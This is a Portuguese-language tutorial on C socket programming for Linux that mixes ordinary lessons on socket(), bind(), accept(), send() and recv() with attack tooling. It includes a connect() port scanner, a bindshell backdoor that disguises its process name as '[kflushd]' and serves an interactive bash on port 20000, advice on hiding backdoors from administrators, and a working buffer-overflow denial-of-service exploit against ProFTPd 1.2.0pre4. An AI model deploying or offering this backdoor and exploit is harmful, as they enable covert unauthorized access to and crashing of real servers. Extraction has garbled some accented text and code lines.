Sei sulla pagina 1di 61

PROGRAMAO DE SOCKETS EM C P/ LINUX

Os exemplos aqui mostrados bem como a forma de programao so


voltados para a plataforma Linux...diga-se Linux Slackware.. de modo que pode
no servir em outras plataformas.

--------------------------- FASE I - O PARTO -----------------------------

--------------------------------------*** SOCKETS - O QUE SO E P/ Q SERVEM! |


---------------------------------------

Os sockets so os programas responsveis pela comunicao ou interligao


de outros programas na internet, por exemplo. Quando voc se conecta a um
servio qualquer tipo(telnet) voc est usando um socket, no caso chama-se
a rotina socket() como cliente do teu lado..e do lado do host com servio
uma rotina de socket servidor. De forma prtica, quando voc executa
um exploit remoto, voc usa um socket, quando voc cria um trojan remoto, usa-se
um socket, quando voc captura pacotes externamente voc usa um socket, etc....

---------------------*** TIPOS DE SOCKETS! |


----------------------

Existem alguns tipos de sockets, mas por enquanto vamos nos ater apenas a 2,
os dois mais simples..de modo que voc pode querer

ir mais alm e escrever

programas que se utilizem de RAW SOCKETS. Os tipos de sockets que iremos


trabalhar so os "Stream Sockets" e os "Datagram Sockets", eles tambm so
conhecidos como "SOCK_STREAM" e "SOCK_DGRAM", respectivamente.
+ Stream Sockets usam TCP, so usados em diversas aplicaes como telnet,www,
etc. Os pacotes aqui so sequenciais, seguem em 2 vias, voc pode ler e gravar.
+ Datagrams Sockets usam UDP. Os pacotes aqui no so sequenciais, opera em
1 via,voc s pode ler ou gravar, nunca as 2 coisas.

Outros tipos conhecidos de sockets so: SOCK_SEQPACKET e SOCK_RDM

------------*** HEADERS

-------------

Existem alguns headers usados em conjunto para facilitar ao mximo a programao


de sockets.. Eis alguns aqui:

#include <sys/types.h> //No encontrado declaraes teis


#include <sys/socket.h> //chamadas a socket, connect, bind, send, recv, etc
#include <netinet/in.h> //Enum IPPROTO_IP, struct sockaddr_in etc.
#include <netdb.h> //struct hostent, getservbyport e similares
#include <arpa/inet.h> //struct sockaddr_in. Se no presente, ocorre erro em
gethostbyname, declaraes de inet_addr, inet_ntoa, etc

Ler as man pagens man socket

---------------------------*** DECLARANDO UM SOCKET!

----------------------------

Para se declarar um socket no tem muito segredo. Ele do tipo int(retorna um


descritor inteiro para conexo), declara-se normalmente.Ex:

main(){
int Meusocket;
...
}

------------------------*** DEFININDO ESTRUTURA

-------------------------

Os dados necessrios do host a que se quer comunicar, so definidos atravs


de uma struct. A struct usada para conexes na internet a sockaddr_in, e
possui a seguinte declarao:

struct sockaddr_in {
short int sin_family;

/* Familia do endereo */

unsigned short int sin_port;

/* nmero da porta */

struct in_addr sin_addr;


inaddr_in
unsigned char sin_zero[8];

/* IP do Host */ //Retorna struct


/* Zera a estrutura, algum espao como
struct sockaddr */

sin_family pode ser uma variedade de coisas, mas geralmente se usam uma
dessas aqui:

+ AF_INET

(ARPA INTERNET PROTOCOLS) - "A mais usada"

+ AF_UNIX

(UNIX INTERNET PROTOCOLS)

+ AF_ISO

(ISO PROTOCOLS)

+ AF_NS

(XEROX NETWORK SYSTEM PROTOCOLS)

Ai ficaria algo como:


main(){
int Meusocket;
struct sockaddr_in vitima;
..
}

---------------------------

*** CONSTRUINDO UM SOCKET

---------------------------

A Construo de um socket segue o modelo:

Meusocket = socket(sin_family, tipo_do_socket_desejado,nmero_protocolo);

Onde:
sin_family so essas j explicadas acima; tipo_do_socket_desejado, no nosso caso
SOCK_STREAM ou SOCK_DGRAM; nmero_protocolo o nmero correspondente do
protocolo que se vai trabalhar,ex:

0 - IP - INTERNET PROTOCOL
1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL
2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL
3 - GGP - GATEWAY-GATEWAY PROTOCOL
6 - TCP - TRANSMISSION CONTROL PROTOCOL
17 - UDP - USER DATAGRAMA PROTOCOL

Um exemplo prtico seria:

main(){
int Meusocket; /* Declarando a variavel socket */
..
Meusocket = socket(AF_INET,SOCK_STREAM,0);
..
}

Feito a declarao e a construo do arquivo socket, nos seguimos adiantes


construindo a struct com dados do host que se deseja, nosso caso a vtima.
Ficaria um esquema igual a esse:

struct sockaddr_in vitima;

vitima.sin_family = AF_INET /* Nossa sin_family no exemplo acima */


vitima.sin_porta = htons(PORTA) /* Aqui o esquema o seguinte:
htons significa "host to network short", como
short trabalha com 2 bytes,mas ha ainda
outros tipos como: htonl("host to network
long",4 bytes), nts("network to host
short",2 bytes), ntl("network to host
long", 4 bytes). */

vitima.sin_addr.s_addr = inet_addr(ip_da_vitima);/*Aqui ocorre a aquisio do


endereo ip da vitima, como na
declarao acima em struct
sockaddr_in, aqui somente o
ip, no ainda o domnio */

//inet_addr(char *) Converte notao em decimais e pontos em uma nbo(network


byte order). Parametro deve ser um ip e no dns.
//inet_ntoa(struct in_addr) Converte representao internet(struct in_addr *)
para ASCII

bzero(&(vitima.sin_zero),8); /* Zera o resto da estrutura */ => <strings.h>

Vamos ver agora como de fato est nosso exemplo inicial:

main(){
int Meusocket;
struct sockaddr_in vitima;

Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
{
perror("Socket"); //Envia erro a erro padro(
exit(1);

}
vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}

Vamos caminhando mais a frente, j temos declarado e construdo o arquivo


socket, no caso Meusocket, e a struct de conexo, no caso a vitima. Agora
vamos para uma funo muito usada na conexo, a funo connect(), que far
o elo entre o "Meusocket" e a "vitima".

-----------------------*** A funo CONNECT()

| <sys/socket.h>

------------------------

Essa funo,como o prprio nome diz, a funo responsvel pela conexo de seu
socket cliente, com um servio servidor qualquer.

Os headers necessrios para o uso dessa funo so:

#include <sys/types.h>
#include <sys/socket.h>

Uma vez declarado os headers..vamos declarar a funo propriamente dita:

int connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima));


//Provavelmente onde comea e termina estrutura vitima. Retorna zero em sucesso
e -1 em erro.

De forma bem prtica, declaramos a funo connect(),onde:

+ Meusocket -> nosso arquivo socket.


+ vitima -> O host que queremos conectar(struct).

Programa Completo

/* headers necessrios */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>

main(){
int Meusocket;
struct sockaddr_in vitima;
int Conector;

Meusocket = socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0) /* Aqui faz-se uma simples checagem de erro */
{
perror("Socket"); //Explica codigo de erro. Formato de erro que
possui uma documentao de forma a entender o que cada um significa.
exit(1);
}

vitima.sin_family = AF_INET;
vitima.sin_port = htons(31337);
vitima.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);

Conector = connect(Meusocket,(struct sockaddr * )&vitima,


sizeof(vitima));
if(Conector < 0) /* Mais uma checagem de erro */

{
perror("Connect");
exit(1);
}
}

+ funo gethostbyname();
-------------------------

As vezes voc quer que ao invs de digitar o ip, voc quer digitar seu domain.

#include <netdb.h> /* Talvez haja variao desse header, bom dar um man
gethostbyname para se certificar!! */

struct hostent * gethostbyname(char *name);

Como se pode ver ele retorna um ponteiro para uma struct que possui a
seguinte declarao:

#define h_addr

h_addr_list[0]

/* endereo, para combatibilizar


o modo inverso(reverso) */

struct

hostent {
char

*h_name;

/* Nome oficial do host */

char

**h_aliases;

/* Lista de aliases */

int

h_addrtype;

/* Tipo de endereo do host */

int

h_length;

/* Tamanho do endereo */

char

**h_addr_list;

/* Lista de endereos do
servidor de nomes */

};

Vamos analisar agora cada membro da estrutura:

h_name -> Nome oficial do host. //Nome do dominio. Ex: www.ip.com.br =>
ip.com.br. Util, caso busque a partir de um alias

h_aliases -> Uma array terminada em zero de nomes alternados para o host.

h_addrtype -> O tipo do endereo que est sendo retornado.Ex: AF_INET //Uma
constante inteira

h_length

-> O Tamanho em bytes do endereo.

h_addr_list -> Uma array terminado em zero do endereo da rede para o host.
O endereo do Host retornado em nbo(network byte order).

e a definio:

h_addr

-> Eh o primeiro endereo em h_addr_list; Isto para


compatibilizar o modo inverso,ou a inverso. Quando voc digita
localhost saber que 127.0.0.1, por exemplo.

+ funo getservbyport();
------------------------

Essa funo envia ou diz para voc qual o servio que est rodando numa
determinada porta,usando como referncia o seu arquivo /etc/services. bom
manter esse arquivo integro, seno receber resultados errados no exemplo que
logo seguir.

Mas vamos l, a funo getservbyport() segue declarada desse jeito:

#include <netdb.h> /* Header necessrio..lembre-se, man pages */

struct servent *getservbyport(int port, const char *proto);

A estrutura servent definida da seguinte forma em <netdb.h>:

struct servent {
char

*s_name;

/* Nome oficial do servio */

char

**s_aliases; /* Lista de aliases */

int

s_port;

/* nmero da porta */

char

*s_proto;

/* Protocolo para usar */

analizando:

s_name

-> Nome oficial do servio. Ex: ftp,telnet,echo.

s_aliases -> Um lista terminada em zero de nomes alternativos para o


servio.
s_port -> O nmero da porta referente ao servio, dado em NBO(Network
Byte Order)
s_proto

-> O nome do protocolo para usar com este servio.

-----------------------------*** PRIMEIRO EXEMPLO prtico

------------------------------

Abaixo segue um exemplo de um portscan, que scaneia usando a funo connect().


Esse mtodo muito usado ainda, mas no um bom mtodo, pois de fcil
deteco. Mas pela facilidade com que se escreve um programa desse tipo,ser
nosso primeiro exemplo, mais a frente ns veremos coisas mais teis, e mais
complexas. Esse portscan serve somente para servios tcp, pois usa SOCK_STREAM,
j explicado acima.

-----------------------Exemplo de portscan-------------------------------

/* Headers necessarios */
#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <errno.h>
#include <netdb.h>

/* Definio das portas(inicial e final) caso estas no sejam


digitadas na linha de comando */

#define PORTA_INICIAL
#define PORTA_FINAL

1
7000

main(int argc, char *argv[])


{
char host[15], *ip;
int porta_inicial, porta_final, portas, i,meusocket;
struct sockaddr_in vitima;
struct hostent *he;
struct servent *servio;
if (argc == 1)
{

fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"*************Simples PortScan usando
Connect()************\n");
fprintf(stderr,"****************Desenvolvido por Nash
Leon****************\n");

fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"Uso: %s <host_vitima> <porta_inicial>
<porta_final>\n",argv[0])
;exit(0);
}

if (argc > 1)
{
porta_inicial = PORTA_INICIAL;
porta_final = PORTA_FINAL;
}
if (argc > 2)
{
porta_inicial = atoi (argv[2]);
porta_final = atoi (argv[3]);
}

/* Aqui tem incio o scaneamento, comecando a contagem com porta_inicial


e terminando em porta_final */

for (portas = porta_inicial; portas < porta_final; portas++){

/* Declarao de gethostbyname */

he = gethostbyname(argv[1]);
if(he == NULL)
{
printf("Erro: Host Desconhecido!!\n");
exit(-1);
}

/* Declarao do arquivo socket */

meusocket = socket(AF_INET, SOCK_STREAM,0);

if(meusocket < 0)
{
perror("Socket");
exit(1);
}
/* Abaixo a declarao da estrutura da vitima */

vitima.sin_family = he->h_addrtype; /* Tipo do endereo


retornado,no caso AF_INET. */
vitima.sin_port = htons(portas);
vitima.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(vitima.sin_zero), 8);

/* funo connect(), ela vai se conectar a porta do host vitima,


se receber uma resposta negativa, no caso (-1), ela fecha o socket, mas como
estamos dentro de um processo for, abrira outro socket com outra porta, e quando
a resposta da vitima for positiva (0), seguira a diretiva else abaixo. */

if(connect(meusocket,(struct sockaddr * )&vitima, sizeof(vitima))


== -1)
{
close(meusocket);
}

/* Aqui temos getservbyport nos dizendo qual servio corresponde


a porta que foi encontrada aberta.Se servio for igual a NULL, teremos
"Desconhecido como saida, seno, ele nos dir o servio,baseado em nosso
/etc/services */

else
{

servio = getservbyport(htons(portas),"tcp");
printf("A porta %d esta aberta mano!! O servio
[%s]\n",portas,(servio == N
ULL) ? "Desconhecido" : servio-> s_name);
}
close(meusocket);
}
}

---------------------fim do primeiro exemplo-----------------------------

----------------------- FASE 2 - ENGATINHANDO --------------------------

-------------------*** A funo bind() |


--------------------

Essa funo serve para associar uma porta em sua mquina local para o seu
socket. Essa funo muito usada com outra funo, a listen().

/* Headers necessrios, veja man bind() */


#include <sys/types.h>
#include <sys/socket.h>

int bind(int Meusocket, struct sockaddr *local, int addrlen);

onde:

+ Meusocket -> Nosso velho conhecido, o mesmo dos casos anteriores.


+ local

-> O esquema aqui o seguinte, ao invs de declarar


como sendo vtima, declararemos como o endereo
local, no o remoto. a estrutura ser toda voltada
para a mquina local, onde vai ser executado o programa.

+ addrlen -> Tamanho do tipo da estrutura que est se trabalhando,


geralmente usa-se sizeof(struct sockaddr).

Eis o bsico dessa funo. Abaixo segue um exemplo de declarao da mesma


dentro de um programa qualquer:

/* Headers */
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define MINHA_PORTA

20000

main(){
int Meusocket;
struct sockaddr_in meu_endereo;

Meusocket = socket (AF_INET,SOCK_STREAM,0);


local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = inet_addr("200.100.100.1"); //ip local
bzero(&(local.sin_zero),8);

bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));


...
}

Para nossos objetivos meu_endereo refere-se ao endereo local, da mquina onde


se executa o programa, e vtima se refere a um endereo remoto.

----------------------

*** A FUNO listen() |


----------------------

Essa funo tambm no tem nada demais. O seu nome tambm j diz o porque
de se usar ela. Ela escuta ou melhor dizendo, espera uma determinada
conexo em um socket. Para aceitar uma conexo, um socket primeiro criado
usando a funo socket(), aps a criao do mesmo, e depois de bind() a funo
listen() entra para setar o nmero de conexes que sero permitidas para
determinado servio.

Um exemplo prtico disso o uso de ftps que permitem at 20 conexes


por exemplo. Voc entra e recebe uma mensagem tipo: "Voce o #5 usurio
de 20!", coisa desse tipo.

A funo listen() declarada da seguinte forma:

/* Header */

#include <sys/socket>

int listen(int Meusocket, int backlog);

onde:
+ Meusocket -> Nosso amigo de novo,o mesmo de sempre.
+ backlog

-> backlog um nmero inteiro responsvel pelo total


de conexes que sero permitidas para o servio. Muitos
sistemas limitam esse nmero at 20, voc pode ficar
limitado de 5 a 10. As conexes futuras ficaro esperando
at que o servidor aceite, para isso usa-se a funo
accept(), que explicaremos mais abaixo.

Como iremos permitir mais de uma conexo, se faz necessrio que declaremos
um outro socket() que ser o responsvel pelas futuras requisies de

conexo.

Poderamos deixar para definir com a funo accept(), porque esse


novo socket s ser aceito aps o primeiro, mas em todo caso, ele j vai
declarado abaixo para facilitar as coisas.

Um esquema prtico para a nossa funo listen, seria us-la em conjunto com
a funo bind() descrita acima. Ficaria assim:

/* Headers */
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define MINHA_PORTA 20000


main(){

int Meusocket;
int NovoSocket;/* Este espera a vez dele, listen o enumerar para que faa
a conexo depois */
struct sockaddr_in local;

/* Declarao de Meusocket e da estrutura que fechar a conexo


no caso "local" */

Meusocket = socket (AF_INET,SOCK_STREAM,0);


local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);

bind(Meusocket,(struct sockaddr *)&local,sizeof(struct sockaddr));

listen(Meusocket,5);
...
}

Bem, nosso exemplo s demonstrativo, para irmos com calma, no d para


fazer muita coisa com isso da, mas veremos agora uma outra funo
muito importante muito usada em sockets servidores.

----------------------*** A funo accept()

-----------------------

a funo responsvel por aceitar uma conexo em um socket. Um socket cliente


pede permisso para um socket servidor para que ambos se comuniquem, essa funo
ser a que decidir o futuro da conexo, se aceita ou rejeita.
Vamos a declarao dela:

/* Headers */
#include <sys/types.h>
#include <sys/socket.h>

int accept(int Meusocket,

struct

sockaddr

*remoto,socklen_t *remotolen);

onde:

+ Meusocket -> o socket do servidor, o nosso exemplo das sees acima.


+ remoto

-> Aqui o esquema o seguinte, ser o endereo remoto, como


ns estamos fazendo o papel de servidor, esse dito cujo seria
o cliente no caso. Poderia se referir a ele tambm como remoto,
j que a estrutura que declaramos a local.

+remotolen

-> o tamanho da estrutura que se est trabalhando.


Trabalharemos com sockaddr_in, logo seria

sizeof(struct sockadd_in).

Veremos como ficaria o esquema de um simples socket servidor agora:

/* Headers */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

/* Segue definio da porta e do nmero de conexes que sero


permitidas a mesma, chamada aqui de BACKLOG. */

#define

MINHA_PORTA

20000

#define

BACKLOG

main(){

int Meusocket, Novosocket;

/* listen() em Meusocket, nova conexo em


Novosocket */

struct sockaddr_in local;


struct sockaddr_in remoto;
int tamanho;

bzero(&local, sizeof(local));

/* Zera a estrutura */

local.sin_family = AF_INET;
local.sin_port = htons(29999);
local.sin_addr.s_addr = htonl(INADDR_ANY);/* aqui INADDR_ANY ser
responsvel por pegar nosso endereo diretamente do prprio sistema. */

Meusocket=socket(AF_INET, SOCK_STREAM, 0);


bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr);
listen(Meusocket, BACKLOG);
tamanho = sizeof (struct sockaddr_in);/* Declaramos essa variavel para
melhorar o algoritmo tao somente
*/

while(1) /* loop essencial para accept() */

/* Eis a a funo accept()


NovoSocket = accept(Meusocket, (struct sockaddr *)&remote,&tamanho);
}

O esqueleto acima pode ser bastante til, colocaremos abaixo um exemplo


prtico das funes descritas nessa fase.

----------------------------*** SEGUNDO EXEMPLO PRTICO

-----------------------------

Esse programa copia uma shell para uma determinada porta. Ele amplamente
difundido na Internet com o nome de bindshell, mas possui muitas variaes.
Para propsitos educacionais, eu criei uma backdoor baseada nesse programa,
de modo que tornasse mais claro o nosso aprendizado.

--------------------------Backdoor usando Socket-------------------------

/* HEADERS */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>

#define MINHA_PORTA 20000 /* A porta do servidor */


#define BACKLOG

5 /* At quantas conexes */

int main(int argc, char *argv[])


{

int Meusocket, Novosocket, tamanho;


struct sockaddr_in local;
struct sockaddr_in remote;

/* Cria um processo criana ou menor, para no necessitar executar


usando & */
if(fork() == 0){ //Se filho zero, caso contrrio pid do filho no pai

/* Aqui segue a esperteza..se algum der ps aux, top, ou ver os processos que
esto rodando ver o que est copiado abaixo, no caso [kflushd],mude isso
conforme o sistema onde ser executada a backdoor */

strcpy(argv[0], "[kflushd]");
signal(SIGCHLD, SIG_IGN);

/* Criando a estrutura local(servidor) */

bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
local.sin_addr.s_addr = INADDR_ANY;

bzero(&(local.sin_zero), 8);

/* Declarao do socket(),bind() e listen() */

Meusocket=socket(AF_INET, SOCK_STREAM, 0);


bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket, BACKLOG);
tamanho = sizeof(struct sockaddr_in);

while(1)
{
if((Novosocket=accept(Meusocket, (struct sockaddr
*)&remote,&tamanho))==1) //Nmero no negativo, aceito
{
perror("accept");
exit(1);
}

if(!fork()) //Processo filho


{
close(0); close(1); close(2); //Pois fez dup2

/* dup2() aqui usado para criar uma copia de Novosocket */


dup2(Novosocket, 0); dup2(Novosocket, 1);
dup2(Novosocket,2); //Realiza copia(alias) do descritor de arquivo

/* Entao a shell executada, nesse caso uma bash. Mude-a para qualquer uma que
quiser, e ateno ao parmetro -i, nem todas aceitam shell interativa */

execl("/bin/bash","bash","-i", (char *)0); //Derivada de


exec
close(Novosocket);
exit(0);
}

}
}
return(0);
}

-------------------------Fim do Segundo Exemplo-------------------------

At para dificultar a percepo de admin dessa backdoor, inteligente colocar


numa porta alta, no muito conhecida, no coloque em portas elites como 12345 ou
31337, faa seu prprio esquema. Segundo quando um cliente se conecta a essa
backdoor, ele ca numa shell com argumento -i, ou shell interativa, se no
quiser ou o sistema no aceitar esse argumento, retire-a, isso muda de sistema e
de tipo de shell tambm

Terceiro, esse programa no prtico, j conhecido, muito conhecido. De


modo que uma backdoor de fcil deteco, quando, lgico, o admin um
cara responsvel. Existe muita coisa boa por a, como backdoors em kernel
modules, em cdigos fontes que lhe do shell num simples passe de mgica
ou num simples toque de tecla :); bem como bons rootkits, alguns pouco
conhecidos capazes de tornar voc "invisvel" num sistema. Como todos os
exemplos aqui so de propsito puramente educacional, no nos responsabilizamos
pelo uso dos mesmos.

Creio amigo, que backdoor pessoal, como a coisa vem "esquentando", o pessoal
da segurana tem trabalhado mais, cabe a voc pensar numa backdoor sua mesmo,
para determinado sistema.

-------------------- FASE III - MANDANDO BALA --------------------------

--------------------------AS FUNES send() e recv() |


---------------------------

Essas duas funes so para


comunicao em Stream sockets e Datagrams sockets. A funo send() usada para
enviar uma mensagem para um socket. Consequentemente a funo recv(), usada
para receber dados em um socket. Veremos como se declara send() primeiro:

/* Headers */

#include <sys/types.h>
#include <sys/socket.h>

int send(int Meusocket, const void *msg, size_t len, int flags);

onde:
+ Meusocket

-> o bom e velho arquivo socket, nosso velho conhecido.

+ *msg

-> um ponteiro para a mensagem que queremos enviar.

+ len

-> o tamanho da mensagem. Se a mensagem muito grande para


passar atmicamente sobre o protocolo escolhido, a mensagem
de erro EMSGSIZE retornada(errno), e a mensagem no

transmitida.

+ flags

-> So parmetros adicionais,podem ser:


#define

MSG_OOB

0x1

/* processa dados out-of-band */

#define

MSG_DONTROUTE

0x4

/* debuga */

O flag MSG_OOB usado para enviar dados out-of-band em sockets


que suportam isso (Ex. SOCK STREAM); o protocolo escolhido deve
tambm suportar dados out-of-band.
O flag MSG_DONTROUTE usado geralmente s para diagnosticar
programas.

Uma boa olhada nas man pages de cada funo ajuda bastante, caso haja
dvidas nisso.

//Funco retorna quantos bytes enviados, ou -1 para erro.

Vimos a declarao da funo send(), veremos agora a funo recv(), ela


similar em muitos aspectos a funo send(). Veremos:

/* Headers */
#include <sys/types.h>
#include <sys/socket.h>

int recv(int Meusocket, void *buf, int len, unsigned int flags);

onde:
+ Meusocket

-> o socket para ler de outro,no caso, um socket local.

+ buf

-> Aqui o endereo da rea do buffer.

+ len

-> o tamanho do buffer.

+ flags

-> so formados por MSG_OOB e MSG_PEEK permitindo receber dados


out-of-band e permitindo espiar dados que entram,
consequentemente. Esta chamada deve ser usada somente com
sockets do tipo SOCK_STREAM.

Abaixo seguem mais dois exemplos, estes envolvendo tudo que foi abordado
at agora. O primeiro exemplo um simples socket servidor.

---------------------------Servidor Simples------------------------------

/* Velhos headers de sempre */

#include <stdio.h>

#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>

#define MINHAPORTA 20000


#define BACKLOG 10

/* Porta que os usuarios iro se conectar*/

/* Quantas conexes pendentes sero indexadas */

main()
{
int Meusocket, Novosocket;

/* escuta em Meusocket, nova conexo


em Novosocket */

struct sockaddr_in meu_endereo;

/* informao do meu endereo */

struct sockaddr_in endereo_dele; /* informao do endereo do conector


*/
int tamanho;

if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)


{
perror("socket");
exit(1);
}

meu_endereo.sin_family = AF_INET;
meu_endereo.sin_port = htons(MINHAPORTA);
meu_endereo.sin_addr.s_addr = INADDR_ANY; /* coloca IP automaticamente
*/
bzero(&(meu_endereo.sin_zero), 8);
*/

/* Zera o resto da estrutura

if (bind(Meusocket, (struct sockaddr *)&meu_endereo, sizeof(struct


sockaddr))== -1)
{
perror("bind");
exit(1);
}
if (listen(Meusocket, BACKLOG) < 0)
{
perror("listen");
exit(1);
}

while(1) {
tamanho = sizeof(struct sockaddr_in);
if ((Novosocket = accept(Meusocket, (struct sockaddr
*)&endereo_dele,&tamanho)) < 0){
perror("accept");
continue;
}
printf("Servidor: chegando conexo de
%s\n",inet_ntoa(endereo_dele.sin_addr));
if (!fork()) {
if (send(Novosocket, "Seja bem vindo!\n", 16, 0) == -1)
{
perror("send");
close(Novosocket);
exit(0);
}
}
close(Novosocket);
while(waitpid(-1,NULL,WNOHANG) > 0); /* Limpa o processo
crianca.fork() */
}
}

----------------------------Servidor simples------------------------------

A est um exemplo de um simples servidor, o que ele faz quando algum


se conectar a ele, ele enviar uma mensagem pela funo send(), no caso
"Seja bem vindo!". Abaixo segue um esquema que um cliente simples para esse
servidor.

---------------------------Cliente Simples-------------------------------

/* Headers */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORTA 20000

/* Porta para conectar */

#define MAXDATASIZE 100 /* mximo nmero de bytes que poderemos enviar


por vez */

int main(int argc, char *argv[])


{
int Meusocket, numbytes;
char buf[MAXDATASIZE];
struct hostent *he;
struct sockaddr_in seu_endereo;

if (argc != 2) {

fprintf(stderr,"Uso: cliente hostname\n");


exit(1);
}

if ((he=gethostbyname(argv[1])) == NULL)

/* envia host info */

{
herror("gethostbyname");
exit(1);
}
if ((Meusocket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}

seu_endereo.sin_family = AF_INET;
seu_endereo.sin_port = htons(PORTA);
seu_endereo.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(seu_endereo.sin_zero), 8);

if (connect(Meusocket,(struct sockaddr *)&seu_endereo, sizeof(struct


sockaddr)) ==-1)
{
perror("connect");
exit(1);
}

if ((numbytes=recv(Meusocket, buf, MAXDATASIZE, 0)) == -1)


{
perror("recv");
exit(1);
}

buf[numbytes] = '\0';
printf("Recebido: %s",buf);
close(Meusocket);
return 0;
}

--------------------------------------------------------------------------

A esto os exemplos, execute o servidor primeiro, depois o cliente. Isso


s para demonstrar de modo fcil como se pode manipular as funes
send() e recv(). Veremos agora um exemplo mais abrangente dessas duas
funes, algo mais prtico para nossos intuitos.

-----------------------Denial of service para Proftpd----------------------/*


* Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
* This bug was discovered by the Nessus Security Scanner
* I don't know if this flaw can be exploited to gain
* root privileges.
* The name of the created directory must not exceed 255 chars !
* Written by Renaud Deraison <deraison@cvs.nessus.org>
*
* (Esse exploit serve para crashear um servidor de ftp, ProFTPd)
* Eu alterei o fonte para os nossos propsitos, simplificando as coisas
* ao mximo, mas no momento basta se ater a manipulao que ele deu
* as funes send() e recv().(Nash Leon)
*/

/* Headers necessrios */

#include <stdio.h>
#include <stdlib.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/types.h>
#include <netinet/in.h>

#define VITIMA "127.0.0.1"


#define DIR_ESCRITA "/incoming"

int main()
{
struct in_addr vitima;
int Meusocket;
struct sockaddr_in sa;

char * dir_escrita = "CWD "DIR_ESCRITA"\r\n";


char * mkd;
char * cwd;

/* Aqui se pega a definio acima do host que ser vitimado */


inet_aton(VITIMA, &vitima);
mkd = malloc(300); bzero(mkd, 300);
cwd = malloc(300); bzero(cwd, 300);

Meusocket = socket(PF_INET, SOCK_STREAM,0);

bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port

= htons(21);

sa.sin_addr.s_addr = vitima.s_addr;

if(!(connect(Meusocket, (struct sockaddr *)&sa, sizeof(struct


sockaddr_in))))
{
char * buf = malloc(1024);
int i;
sprintf(mkd, "MKD ");
memset(mkd+4, 'X', 254);
sprintf(mkd, "%s\r\n", mkd);

sprintf(cwd, "CWD ");


memset(cwd+4, 'X', 254);
sprintf(cwd, "%s\r\n", cwd);

/* Vemos aqui uso prtico de recv() e send() */


recv(Meusocket, buf, 1024, 0);
send(Meusocket, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
recv(Meusocket, buf, 1024, 0);
bzero(buf,1024);
send(Meusocket, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
recv(Meusocket, buf, 1024, 0);
bzero(buf, 1024);
send(Meusocket, dir_escrita, strlen(dir_escrita), 0);
recv(Meusocket, buf, 1024, 0);
bzero(buf,1024);

for(i=0;i<40;i++)
{
send(Meusocket, mkd, strlen(mkd), 0);
recv(Meusocket, buf, 1024,0);
if(!strlen(buf))
{

printf("FTPd Remoto crasheado (veja


/var/log/messages)\n");
exit(0);
}
bzero(buf, 1024);
}
printf("Servidor no vulneravel\n");
close(Meusocket);
}
else perror("connect ");
return(0);
}
------------------------------FIM DO EXEMPLO--------------------------

Bem a est um exemplo bem simples de envio e recebimento de dados


usando as funes send() e recv() para derrubar um servio.Essa tcnica de
Denial of Service pode ser til para muitas finalidades, mas no deve ser
usada como diverso ou simples vandalismo, lembrando, no nos responsabilizamos
pelo mau uso das ferramentas descritas nesse txt. Com essas funes
voc j est apto a escrever sockets para enviar aqueles famosos "remote
root buffer overflow"!!:)
As funes sendto() e recvfrom() usadas em sockets
SOCK_DGRAM, sero vistas muito em breve,mas antes veremos as funes
write() e read() que so parecidas com send() e recv().

-------------------------------*** AS FUNES write() e read() |


--------------------------------

Essas funes possuem a mesma finalidade das funes send() e recv().


write() serve para escrever num socket, enquanto read() para ler de um socket.

A funo read() equivalente a funo recv() com um parmetro flag de 0.


Da mesma forma, write() equivalente a send() com flags igual a 0. Essas
funes devem ser usadas somente em sistemas unix, lembre-se, esse tutorial
foi escrito para usuarios linux, linux slackware, not red sux!
Veremos a declarao delas:

/* Header necessario */
#include <unistd.h>

ssize_t read(int Meusocket, void *buf, size_t count);

onde:

+ Meusocket

-> Nosso bom e velho arquivo socket.

+ *buf

-> Buffer de onde sero lidas as mensagens.

+ count

-> Tamanho em bytes da mensagem a ser lida. Se count igual a


zero, read() retorna zero e no possui outro resultado. Se
count maior que sszize_max (declarado anteriormente), o
resultado no especificado.

para a funo write() a mesma coisa:

#include <unistd.h>

ssize_t write(int Meusocket, void *buf, size_t count);

